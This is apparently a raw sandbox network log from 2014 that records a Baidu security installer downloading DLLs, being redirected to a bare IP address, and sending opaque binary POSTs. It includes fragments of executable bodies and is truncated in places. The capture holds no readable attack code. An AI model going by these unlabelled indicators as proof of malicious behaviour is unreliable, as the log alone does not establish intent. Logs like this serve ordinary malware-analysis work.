Connection: close
Location: hXXp://209.170.78.71/dl1sw.baidu.com/client1/common/patch/16101830722/BDMNet.dll?wsiphost=ipdb
GET /client/v1196/0422/Baidusd_Setup_1.0.616.70_Sid_11111_Silent_Defense.exe HTTP/1.1
Accept: */*
Accept-Language: zh-CN,zh,en-US
Connection: Keep-Alive
Host: dl1sw.baidu.com
Range: bytes=2490368-
Referer: hXXp://dl1sw.baidu.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
HTTP/1.0 302 Found
Cache-Control: no-cache
Connection: close
Location: hXXp://209.170.78.71/dl1sw.baidu.com/client/v1196/0422/Baidusd_Setup_1.0.616.70_Sid_11111_Silent_Defense.exe?wsiphost=ipdb
GET /client/v1196/0422/Baidusd_Setup_1.0.616.70_Sid_11111_Silent_Defense.exe HTTP/1.1
Accept: */*
Accept-Language: zh-CN,zh,en-US
Connection: Keep-Alive
Host: dl1sw.baidu.com
Range: bytes=15597568-
Referer: hXXp://dl1sw.baidu.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
HTTP/1.0 302 Found
Cache-Control: no-cache
Connection: close
Location: hXXp://209.170.78.71/dl1sw.baidu.com/client/v1196/0422/Baidusd_Setup_1.0.616.70_Sid_11111_Silent_Defense.exe?wsiphost=ipdb
GET /client1/common/patch/16101830722/BDMNet.dll HTTP/1.1
Accept: */*
Accept-Language: zh-CN,zh,en-US
Connection: Keep-Alive
Host: dl1sw.baidu.com
Range: bytes=720896-
Referer: hXXp://dl1sw.baidu.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
HTTP/1.0 302 Found
Cache-Control: no-cache
Connection: close
Location: hXXp://209.170.78.71/dl1sw.baidu.com/client1/common/patch/16101830722/BDMNet.dll?wsiphost=ipdb
GET /dl1sw.baidu.com/client/dllqq/BDLogicUtils.dll?wsiphost=ipdb HTTP/1.1
Accept: */*
Accept-Language: zh-CN,zh,en-US
Connection: Keep-Alive
Host: 209.170.78.71
Referer: hXXp://dl1sw.baidu.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
HTTP/1.0 200 OK
Expires: Sat, 24 May 2014 10:41:45 GMT
Date: Thu, 24 Apr 2014 10:41:45 GMT
Server: nginx
Content-Type: application/octet-stream
Content-Length: 926536
Last-Modified: Tue, 18 Mar 2014 11:58:16 GMT
Cache-Control: max-age=2592000
Accept-Ranges: bytes
Age: 525332
Via: 1.0 wzpy233:8080 (Cdn Cache Server V2.0), 1.0 fra71:25001 (Cdn Cache Server V2.0)
Connection: keep-alive
Content-Disposition: attachment;filename="BDLogicUtils.dll"
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......V.h...............x.....5.{.....5.k.......Y.......[.............5.h.f...5.t.C...5.|.....5.z.............5.~.....Rich............................PE..L..... S...........!.........0.......6....................................... .......................................................P..................H#...`..hw..@...............................@...@............................................text...x........................... ..`.rdata..............................@..@.data...(j.......P..................@....tls.........@....... ..............@....rsrc........P.......0..............@..@.reloc..Z....`.......@..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
<<
<<< skipped >>>
GET /client/v1196/0422/Baidusd_Setup_1.0.616.70_Sid_11111_Silent_Defense.exe HTTP/1.1
Accept: */*
Accept-Language: zh-CN,zh,en-US
Connection: Keep-Alive
Host: dl1sw.baidu.com
Range: bytes=3145728-
Referer: hXXp://dl1sw.baidu.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
HTTP/1.0 302 Found
Cache-Control: no-cache
Connection: close
Location: hXXp://209.170.78.71/dl1sw.baidu.com/client/v1196/0422/Baidusd_Setup_1.0.616.70_Sid_11111_Silent_Defense.exe?wsiphost=ipdb
GET /sw-search-shadu/client/dllv4/BDMReport.dll HTTP/1.1
Accept: */*
Accept-Language: zh-CN,zh,en-US
Connection: Keep-Alive
Host: dlsw.baidu.com
Range: bytes=1146880-
Referer: hXXp://dlsw.baidu.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
HTTP/1.1 206 Partial Content
Server: JSP2/1.0.27
Date: Wed, 30 Apr 2014 12:37:31 GMT
Content-Type: application/x-msdownload
Connection: close
Content-Length: 60640
Content-Range: bytes 1146880-1207519/1207520
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE
Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id
Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length
Accept-Ranges: bytes
Last-Modified: Tue, 20 Aug 2013 07:03:07 GMT
Expires: Sat, 03 May 2014 07:20:44 GMT
x-bs-version: A65F70E089635AE47A1E2AED4F13B889
ETag: 30cbc602ada7cdfb0346038c05996d84
x-bs-request-id: MTAuMjE1LjE0NC41Nzo4MDgwOjM4MjcwMzQyMDg6MzAvQXByLzIwMTQgMTU6MjA6NDQg
x-bs-meta-crc32: 2965621797
Content-MD5: 30cbc602ada7cdfb0346038c05996d84
x-bs-client-ip: MTE1LjIzMS40Mi4xMjA=
......................................................................................................................................................................................abcdefghijklmnopqrstuvwxyz......ABCDEFGHIJKLMNOPQRSTUVWXYZ.......................................................................................................................................................................................................................................... ...................................
GET /sw-search-shadu/client/dllv4/BDMReport.dll HTTP/1.1
Accept: */*
Accept-Language: zh-CN,zh,en-US
Connection: Keep-Alive
Host: dlsw.baidu.com
Referer: hXXp://dlsw.baidu.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
HTTP/1.1 200 OK
Server: JSP2/1.0.27
Date: Wed, 30 Apr 2014 12:37:20 GMT
Content-Type: application/x-msdownload
Connection: close
Content-Length: 1207520
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE
Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id
Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length
Accept-Ranges: bytes
Last-Modified: Tue, 20 Aug 2013 07:03:07 GMT
Expires: Sat, 03 May 2014 07:20:44 GMT
x-bs-version: A65F70E089635AE47A1E2AED4F13B889
ETag: 30cbc602ada7cdfb0346038c05996d84
x-bs-request-id: MTAuMjE1LjE0NC41Nzo4MDgwOjM4MjcwMzQyMDg6MzAvQXByLzIwMTQgMTU6MjA6NDQg
x-bs-meta-crc32: 2965621797
Content-MD5: 30cbc602ada7cdfb0346038c05996d84
x-bs-client-ip: MTE1LjIzMS40Mi4xMjA=
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......M......S...S...S.Y.S...S.[.S...S.[.S...S...S...S.[.S!..S...S...S...S...S.[.Sd..S.[.S...S.[.S...S...S...S.[.S...SRich...S........................PE..L....!.Q...........!.....P... ......u........`.......................................................................j.......V.......................P..........l...@d...............................R..@............`..t............................text....O.......P.................. ..`.rdata..1....`.......`..............@..@.data....d...p...@...p..............@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
<<
<<< skipped >>>
GET /sw-search-shadu/client/dllv4/BDMReport.dll HTTP/1.1
Accept: */*
Accept-Language: zh-CN,zh,en-US
Connection: Keep-Alive
Host: dlsw.baidu.com
Range: bytes=753664-
Referer: hXXp://dlsw.baidu.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
HTTP/1.1 206 Partial Content
Server: JSP2/1.0.27
Date: Wed, 30 Apr 2014 12:37:28 GMT
Content-Type: application/x-msdownload
Connection: close
Content-Length: 453856
Content-Range: bytes 753664-1207519/1207520
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE
Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id
Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length
Accept-Ranges: bytes
Last-Modified: Tue, 20 Aug 2013 07:03:07 GMT
Expires: Sat, 03 May 2014 07:20:44 GMT
x-bs-version: A65F70E089635AE47A1E2AED4F13B889
ETag: 30cbc602ada7cdfb0346038c05996d84
x-bs-request-id: MTAuMjE1LjE0NC41Nzo4MDgwOjM4MjcwMzQyMDg6MzAvQXByLzIwMTQgMTU6MjA6NDQg
x-bs-meta-crc32: 2965621797
Content-MD5: 30cbc602ada7cdfb0346038c05996d84
x-bs-client-ip: MTE1LjIzMS40Mi4xMjA=
..................D$.,0..:........................D$.,0..:.......................D$.<0|.<9~.<a|.<f~.,A<.w.......3................D$.<a|.<z~.<A|.<Z~.<_t.3........................D$.<a|.<z~.<A|.<Z~.<0|.<9~.<_t.3................D$.<at <bt'<ft#<nt.<rt.<tt.<vt.<\t.<?t.<'t.<"t.3................D$.....0...w......0.....a...w......W.....A...w......7............D$......Tw,........$...........................\..'.."..?.................{...~.................................................................................................................................8...............A`,0..:........A`<a|.<z~.<A|.<Z~.<_t.3..........A`,...:.........3..@......H..H................V...~..r..F.P..`.....3..F......F..F.^...........j.h32..d.....PQSVW..v..3.P.D$.d........t$..Fh.Vl;..D$.....~..NX.9 .P.G....~H.r..N4Q.._.....3.......~H.^D.^4.~..r..V.R.}_......~..^..^..L$.d......Y_^[...........j.h.2..d.....P..\SUVW..v..3.P.D$pd.......$....3......3..\$.9W.r..G....G..80.D$..D$ ....u".H...xt...Xt..D$ ..........T$ .D$......l$$.l$(u7..$.....L$$.T$(...P....L$pd......Y_^][..h..\$...$....3.....0...w......0.'....a...w......W......A...w......7.....;.|.;t$ |h.T$,WR.D$............hN...ht......j..L$T..$.....\$$..4..W...h........$.........\$ ..8......8..P.L$...C......l$xt.....L$H.\$..|4......D$x....t.....|$D..\$.r..D$0P..].......$.........;...wkr.;.$....w`.D$ .....$....W ...V..QR......L$(;.w;r.9D$$w3.D$$QPWV........D$$.D$.......D$......T$(.......`...2..L
<<
<<< skipped >>>
GET /sw-search-shadu/client/dllv4/BDMReport.dll HTTP/1.1
Accept: */*
Accept-Language: zh-CN,zh,en-US
Connection: Keep-Alive
Host: dlsw.baidu.com
Range: bytes=622592-
Referer: hXXp://dlsw.baidu.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
HTTP/1.1 206 Partial Content
Server: JSP2/1.0.27
Date: Wed, 30 Apr 2014 12:37:24 GMT
Content-Type: application/x-msdownload
Connection: close
Content-Length: 584928
Content-Range: bytes 622592-1207519/1207520
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE
Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id
Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length
Accept-Ranges: bytes
Last-Modified: Tue, 20 Aug 2013 07:03:07 GMT
Expires: Sat, 03 May 2014 07:20:44 GMT
x-bs-version: A65F70E089635AE47A1E2AED4F13B889
ETag: 30cbc602ada7cdfb0346038c05996d84
x-bs-request-id: MTAuMjE1LjE0NC41Nzo4MDgwOjM4MjcwMzQyMDg6MzAvQXByLzIwMTQgMTU6MjA6NDQg
x-bs-meta-crc32: 2965621797
Content-MD5: 30cbc602ada7cdfb0346038c05996d84
x-bs-client-ip: MTE1LjIzMS40Mi4xMjA=
V.1.0.q..p.......;.u.^...........T$..L$.;..D$.t.V.q.......;..0.q..p.u.^............L$...4....H...................................D$..V........t.V.1b.......^.....D$..V........t.V..b.......^....V.t$..F.=....s........^.P........F......^.......j.h....d.....P..0..v..3.P.D$4d.....3..T$...A....h.........wF.$........A..L$4d......Y..<....B..L$4d......Y..<....@..L$4d......Y..<.h....h<...j..L$..T$...7..h.......D$@......<..P.L$...F...L$..D$<......7..3..L$4d......Y..<.3...H...]...3...]...H...3...H...]...3...............V.....N.;.t.P.sj......D$..t.V..`.......^........V.....N.;.t.P.Cj......D$..t.V.u`.......^........V.....N.;.t.P..j......D$..t.V.E`.......^........V.....N.;.t.P..i......D$..t.V..`.......^........V.....N.;.t.P..i......D$..t.V.._.......^........V.....N.;.t.P..i......D$..t.V.._.......^........V.....N.;.t.P.Si......D$..t.V.._.......^.........A....D$..P......................D$..Q..P................@.......D$..............D$..............A...............D$.VW.|$............F.u...j...>_..^............V...>.u...i.....N.;H.u...i...F....^.............V...>.u...i...F..x1.t.^..i...H..y1.u....x1.u..I......x1.t..N.^..@..x1.u..N.;H.u..F....B..x1.t..F.^...............................T$..B.V.0.r..0.~1.u..V..r..p..I.;Q.^u..A....B.....J.;.u......B.....A....B.......T$...V.p..2.p..~1.u..V..r..p..I.;Q.^u..A..P..B.....J.;Q.u..A..P..B.......P..B..................................V...8.....^......D$.j.P..........................................................................................D$...t..L$.......
<<
<<< skipped >>>
GET /client/v1196/0422/Baidusd_Setup_1.0.616.70_Sid_11111_Silent_Defense.exe HTTP/1.1
Accept: */*
Accept-Language: zh-CN,zh,en-US
Connection: Keep-Alive
Host: dl1sw.baidu.com
Range: bytes=2883584-
Referer: hXXp://dl1sw.baidu.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
HTTP/1.0 302 Found
Cache-Control: no-cache
Connection: close
Location: hXXp://209.170.78.71/dl1sw.baidu.com/client/v1196/0422/Baidusd_Setup_1.0.616.70_Sid_11111_Silent_Defense.exe?wsiphost=ipdb
GET /client1/common/patch/16101830722/BDMNet.dll HTTP/1.1
Accept: */*
Accept-Language: zh-CN,zh,en-US
Connection: Keep-Alive
Host: dl1sw.baidu.com
Referer: hXXp://dl1sw.baidu.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
HTTP/1.0 302 Found
Cache-Control: no-cache
Connection: close
Location: hXXp://209.170.78.71/dl1sw.baidu.com/client1/common/patch/16101830722/BDMNet.dll?wsiphost=ipdb
GET /sw-search-shadu/client/dllv4/BDMReport.dll HTTP/1.1
Accept: */*
Accept-Language: zh-CN,zh,en-US
Connection: Keep-Alive
Host: dlsw.baidu.com
Range: bytes=983040-
Referer: hXXp://dlsw.baidu.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
HTTP/1.1 206 Partial Content
Server: JSP2/1.0.27
Date: Wed, 30 Apr 2014 12:37:28 GMT
Content-Type: application/x-msdownload
Connection: close
Content-Length: 224480
Content-Range: bytes 983040-1207519/1207520
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE
Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id
Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length
Accept-Ranges: bytes
Last-Modified: Tue, 20 Aug 2013 07:03:07 GMT
Expires: Sat, 03 May 2014 07:20:44 GMT
x-bs-version: A65F70E089635AE47A1E2AED4F13B889
ETag: 30cbc602ada7cdfb0346038c05996d84
x-bs-request-id: MTAuMjE1LjE0NC41Nzo4MDgwOjM4MjcwMzQyMDg6MzAvQXByLzIwMTQgMTU6MjA6NDQg
x-bs-meta-crc32: 2965621797
Content-MD5: 30cbc602ada7cdfb0346038c05996d84
x-bs-client-ip: MTE1LjIzMS40Mi4xMjA=
.J.3..C..........................M..H....T$..B..J.3............|.................M.......T$..B..J.3.......H....L.................M...!...M.......T$..B..J.3.......|..............M..(#...M.......T$..B..J.3..|...................M.......M......4...T$..B..J.3..I................M..X....M.....m4...T$..B..J.3...................M..8....M......4...T$..B..J.3.......L....Q......M.......M.....m4...M...... ...T$..B..J.3........................M.......M......8...T$..B..J.3..y................M.......M.....m8...T$..B..J.3..I................M..h....M.....M9...T$..B..J.3.......$...........M..8....M......9...M......*...T$..B..J.3.......`....F...........M...y...T$..B..J.3..............................E...........e...M........T$..B..J.3..s..........................T$..B..J.3..L....\..............E...........e...M..H.....T$..B..J.3............{................E...........e...M..h@....T$..B..J.3............;................M..(M...E...........e...M........T$..B..J.3.....................M...L...T$..B..J.3..d...........................M...L...T$..B..J.3..4....H......................M...L...T$..B..J.3.......|....l.................M..XL...T$..B..J.3............<..................|..............|.....M.........|..............|.....M.........|..............|.....M.........|..............|.....M...>....T$...t.....p...3..*.......J.3.......................M...>...M...>...M..x>...T$..B..J.3.......0....L.................M.......T$..B..J.3.......l......................M.......T$..B..J.3..............................M.......T$..B..J
<<
<<< skipped >>>
GET /client/v1196/0422/Baidusd_Setup_1.0.616.70_Sid_11111_Silent_Defense.exe HTTP/1.1
Accept: */*
Accept-Language: zh-CN,zh,en-US
Connection: Keep-Alive
Host: dl1sw.baidu.com
Range: bytes=8781824-
Referer: hXXp://dl1sw.baidu.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
HTTP/1.0 302 Found
Cache-Control: no-cache
Connection: close
Location: hXXp://209.170.78.71/dl1sw.baidu.com/client/v1196/0422/Baidusd_Setup_1.0.616.70_Sid_11111_Silent_Defense.exe?wsiphost=ipdb
GET /sw-search-shadu/client/dllv4/BDMReport.dll HTTP/1.1
Accept: */*
Accept-Language: zh-CN,zh,en-US
Connection: Keep-Alive
Host: dlsw.baidu.com
Range: bytes=720896-
Referer: hXXp://dlsw.baidu.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
HTTP/1.1 206 Partial Content
Server: JSP2/1.0.27
Date: Wed, 30 Apr 2014 12:37:29 GMT
Content-Type: application/x-msdownload
Connection: close
Content-Length: 486624
Content-Range: bytes 720896-1207519/1207520
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE
Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id
Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length
Accept-Ranges: bytes
Last-Modified: Tue, 20 Aug 2013 07:03:07 GMT
Expires: Sat, 03 May 2014 07:20:44 GMT
x-bs-version: A65F70E089635AE47A1E2AED4F13B889
ETag: 30cbc602ada7cdfb0346038c05996d84
x-bs-request-id: MTAuMjE1LjE0NC41Nzo4MDgwOjM4MjcwMzQyMDg6MzAvQXByLzIwMTQgMTU6MjA6NDQg
x-bs-meta-crc32: 2965621797
Content-MD5: 30cbc602ada7cdfb0346038c05996d84
x-bs-client-ip: MTE1LjIzMS40Mi4xMjA=
.u....P...R...._.......W......._.PV............]....F..V. ....|..8.u..x.>u.....F...;F........~ ........F......^._^]..[Y...QV....................j.hK!..d.....P...SUVW..v..3.P.D$.d........|$,......G.;G.s......s........G..O.........6...G.............. .t] .tS......u.............................=@....U.R........`...QWP.M...#......v...2........t]....u..G.;G.s......s........L$,.G....T$,R...95....t..|$,.....]<.E4.G.;G........8...........G..G.;G.s......s........L$..G....T$.R....4......f....|$......M<..E5.G..O. ...........8........x.>..........G..u..F..N.;.}..........F....M.F.;.u....P........^.jX.........D$....D$$....t....O.....3..N.......^..D$$....PW.q...............G..O. ....|..8.u..x.>u.....G..e.....;W......... ........G......_....L$.d......Y_^][......PW.5.......A................V........D$..t.V..........^.....SV...N.......FD3.:.t ......^..^..^.t..N...`...t...]...N .3y...^D9^..N.^[t.......j.h{!..d.....P...SUVW..v..3.P.D$.d........D$......|$,......G.;G.s......s........G..O.........3...G...................\......... .tI .u.......................=@....U.R........d...QWP.M... ......u...2..l.....u..O.;O.s...<.s........D$,.O....T$,R...G2....t..D$,..|.......]D.E....RPS.M.......G.;G........8...........G..E.PW.M..........w....MD..G.;G........8...........G............G.;G.s......s........L$..G....T$.R....1...........|$......MD..E..G.;G...v....8J..m.......G..2...t...............................................MD..}.`...u'j...........t..@......@......@....3..E..E.PW............u....G..O. ...........8........x.&
<<
<<< skipped >>>
GET /sw-search-shadu/client/dllv4/BDMReport.dll HTTP/1.1
Accept: */*
Accept-Language: zh-CN,zh,en-US
Connection: Keep-Alive
Host: dlsw.baidu.com
Range: bytes=884736-
Referer: hXXp://dlsw.baidu.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
HTTP/1.1 206 Partial Content
Server: JSP2/1.0.27
Date: Wed, 30 Apr 2014 12:37:30 GMT
Content-Type: application/x-msdownload
Connection: close
Content-Length: 322784
Content-Range: bytes 884736-1207519/1207520
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE
Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id
Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length
Accept-Ranges: bytes
Last-Modified: Tue, 20 Aug 2013 07:03:07 GMT
Expires: Sat, 03 May 2014 07:20:44 GMT
x-bs-version: A65F70E089635AE47A1E2AED4F13B889
ETag: 30cbc602ada7cdfb0346038c05996d84
x-bs-request-id: MTAuMjE1LjE0NC41Nzo4MDgwOjM4MjcwMzQyMDg6MzAvQXByLzIwMTQgMTU6MjA6NDQg
x-bs-meta-crc32: 2965621797
Content-MD5: 30cbc602ada7cdfb0346038c05996d84
x-bs-client-ip: MTE1LjIzMS40Mi4xMjA=
3.9n.W..1...h.....D$.UPf.l$..?h.....h.....L$.Q..<a...D$..P....I.f.....f;.u. ...;.~.f.|D.\t.f.DD.\.f.lD.h......$....URf..$$.....g..j..D$ P..$,...h....Q.....j.hhN....$<...h....R.R......a....,..$....P..;..F...z....= a..h.N..P..;..F...a...j..L$.Q..$ ...h....R.....j.h.N....$0...h....P....... ..$....Q..;..F.......h.N..P...V.h.N..R.F....F..F.h.N..P...N.h.N..Q.F ...V.h.O..R.F$...F(.F.h.O..P...N.h,O..Q.F,...V.h@O..R.F0...F4.F.h\O..P...N.hxO..Q.F8...V.h.O..R.F<...F@.F.h.O..P...N.h.O..Q.FD..9n..FHt_9n.tZ9n tU9n$tP9n(tK9n,tF9n0tA.N4;.t:9n8t59n<t09n@t 9nDt&;.t"UU.VLR....t..F....._^]3.[..........F.;..=<b..t.P...n..F.;.t.P...n.j8U...V..e....._^]..@..[.............D$..@...@......U...........SVW3.3.j,.D$H.D$L.D$P.D$XWP.D$4.@...|$L.|$\..e.....h........$....WQ.D$<k...f.D$@D.f.D$B...D$D..D$E.D$F..D$G..D$HO.D$I.D$J..D$K.f..$.....(e...].3....3.9{..|$..D$..D$..D$..D$ .D$$.|$,.......M.;.......9}.......9}.t.Q.................M.Q3.h.P....$....h.....D$LR.D$T.D$X.D$\.D$P.......b..j0.L$d..$....WQ.D$`..d......D$PP.L$4.T$DQ.T$p.S......W.D$\0....|$`.|$d.D$h.....|$l.t$p.|$x.|$|..$......$..........$......;.t.=..........9}.......9}.......3..L$,Q.M..T$.R.D$..D$..D$ .D$$.D$(.D$,...P.QS...........D$ .=4a..Pj@...L$....Rj@.D$,...D$..D$....Qj@...|$$..D$...|....|$....q.......|......D$,P.E..L$.Q.J.PS......K....E...}........O..........G.;D$ ..........T$$r..2;1u.............s...t]..2... .uE...........tF..2... .u............t/..2... .u............t...2... .t...............3..........p..E.........O...........;D$...k.......T$.r..2;1u.......
<<
<<< skipped >>>
POST / HTTP/1.1
Connection: Keep-Alive
Content-Length: 77
Content-Type: application/octet-stream
Host: p.x.baidu.com
Keep-Alive: timeout=600,max=1000
...A........." f5e712debdc652d438a8c8ba67ccb6f2(.........2.8.@.H.P.X.` ......
HTTP/1.1 200 OK
Server: iYuntianSvr
Content-Type: application/octet-stream
Keep-Alive: timeout=30
Connection: Keep-Alive
Content-Length: 133
...y........." f5e712debdc652d438a8c8ba67ccb6f2(.........28....`:.......f..o.......t2....S4ST....gh...Z.....MgO.A..8.@.H.P.X.` ..........
POST / HTTP/1.1
Connection: Keep-Alive
Content-Length: 157
Content-Type: application/octet-stream
Host: p.x.baidu.com
Keep-Alive: timeout=600,max=1000
...y........." f5e712debdc652d438a8c8ba67ccb6f2(.........28....`:.......f..o.......t2....S4ST....gh...Z..
.MgO.A..8.@.H.P.X.` ......t&......q...{..O.......
HTTP/1.1 200 OK
Server: iYuntianSvr
Content-Type: application/octet-stream
Keep-Alive: timeout=30
Connection: Keep-Alive
Content-Length: 845
...y........." f5e712debdc652d438a8c8ba67ccb6f2(.........28....`:.......f..o.......t2....S4ST....gh...Z.....MgO.A..8.@.H.P.X.` ......s."j.....JN.......d..N?...I-R.{..x........9... o0....0#vehz....Z.E..;.....;1.M.V..R.k............[...4.......W.S..F.}..#.4Q...W.]. .RT.-tO..$`.H.^...0.|..3..z...}..y.2...b..U.[.X..l.#>.u.H'..a.K.......gr.....Z.5..0..yju[.....nR..2.,.....".:'....{..........,z..RO..F.L...(O2..Ox..f.kB).]...VGh...@....8..../....k9...gT.. ..4.B....GsO.3...i/u.....%....']...[4s.W.<?......8Sv.uT.b..l.I...........\g.4..E.......X.[;t..*..F5?Cn....)1#DA.IAa..M(.....8.:{;..h7L5..f./.....}..K.4)Rr...\.^x...{.>]..m.n.V.:.....C. .t...0 )...S...f.tS.v<.......$.....22C..r......B..)... .....~.......s...6.pK..V....l..e*N..C..V...n..u2.-......9.na.p......%."A.J.\.p{-.....t.....,U.....H....3... .B<.).5.......0....3.)K..V..dkn...!R..........
GET /sw-search-shadu/client/dllv4/BDMReport.dll HTTP/1.1
Accept: */*
Accept-Language: zh-CN,zh,en-US
Connection: Keep-Alive
Host: dlsw.baidu.com
Range: bytes=327680-
Referer: hXXp://dlsw.baidu.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
HTTP/1.1 206 Partial Content
Server: JSP2/1.0.27
Date: Wed, 30 Apr 2014 12:37:22 GMT
Content-Type: application/x-msdownload
Connection: close
Content-Length: 879840
Content-Range: bytes 327680-1207519/1207520
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE
Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id
Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length
Accept-Ranges: bytes
Last-Modified: Tue, 20 Aug 2013 07:03:07 GMT
Expires: Sat, 03 May 2014 07:20:44 GMT
x-bs-version: A65F70E089635AE47A1E2AED4F13B889
ETag: 30cbc602ada7cdfb0346038c05996d84
x-bs-request-id: MTAuMjE1LjE0NC41Nzo4MDgwOjM4MjcwMzQyMDg6MzAvQXByLzIwMTQgMTU6MjA6NDQg
x-bs-meta-crc32: 2965621797
Content-MD5: 30cbc602ada7cdfb0346038c05996d84
x-bs-client-ip: MTE1LjIzMS40Mi4xMjA=
.......C._^[....Q.T$...$...$P.D$.R.T$.Q.L$.PQR..................Q.T$...$...$P.D$.R.T$.Q.L$.PQR..................j.h9...d.....P...V..v..3.P.D$.d......t$ .D$$.L$(3..T$..F......V..t$..V.VQP.T$$.D$.......^........L$.d......Y^........................$.......@HV.T$.R.....@..t$.j.j..F......F.....P...F....:....^...............j.h....d.....P..\SUVW..v..3.P.D$pd........s,.........$....P.k0U.,...........D$x...........t....r.....$.....G..H..L$......9D$........G....x..r..P..T$.......D$..D$.P...S............ueh....h....j..L$,..$...../.......?Wh........$.........r......K...P..$.....>....L$ .D$x.........3.........L$........$....QU..$.........2..........u{.G...P....$....RU............u\h$...h....j..L$T.D$'........Wh....h........$........................P.L$.......L$H.D$x..n....L$..D$x.....M......L$pd......Y_^][..h........V...F...t.P.........F......F......F.....^.......V...F...t.P.W.......F......F......F.....^.......j.h....d.....P..D..v..3.P.D$Hd.....j.h.>...L$..D$$.....D$ .....D$...8>...D$.P.L$$.D$T......2..h.>...L$$Q.D$(`e..................j.h....d.....P..D..v..3.P.D$Hd.....j.h.>...L$..D$$.....D$ .....D$....=...D$.P.L$$.D$T.....b2..h.>...L$$Q.D$(`e...#..............j.h....d.....P..DV..v..3.P.D$Ld......A..T$\..... .;.sRj.h.e...L$..D$(.....D$$.....D$...%=...D$.P.L$(.D$X......1..h.>...L$(Q.D$,`e..........A..L$Ld......Y^..P...U..j.h0...d.....P...SVW..v..3.P.E.d......e....E....P..F....M..U.u.3....~. .....U...........u.3....N. ......... 